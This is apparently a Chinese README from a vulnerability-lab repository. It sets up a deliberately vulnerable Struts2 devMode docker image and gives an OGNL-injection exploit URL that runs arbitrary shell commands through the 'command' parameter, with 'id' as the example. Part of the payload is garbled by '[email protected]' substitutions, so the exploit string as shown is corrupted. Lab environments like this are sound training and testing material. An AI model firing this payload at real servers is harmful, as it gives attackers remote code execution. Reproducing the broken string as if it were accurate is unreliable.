Struts2 S2-devMode 漏洞环境

说明

直接使用本仓库中的 s2-037 漏洞环境

漏洞信息

获取环境:

  1. 拉取镜像到本地

    $ docker pull medicean/vulapps:s_struts2_s2-devmode
  2. 启动环境

    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-devmode

    -p 80:8080 前面的 80 代表物理机的端口,可随意指定。

使用与利用

访问 https://你的 IP 地址:端口号/

Exp

假定启动后的地址为:http://127.0.0.1:8080/

执行 id 命令:

http://127.0.0.1:8080/orders/?debug=browser&object=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@[email protected](@[email protected]().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id

修改参数 command 的值为你要执行的命令

参考链接

S2-DevMode_CmdToolExP - coffeehb/Some-PoC-oR-ExP

Copied From: Medicean/VulApps/s/struts2/s2-devMode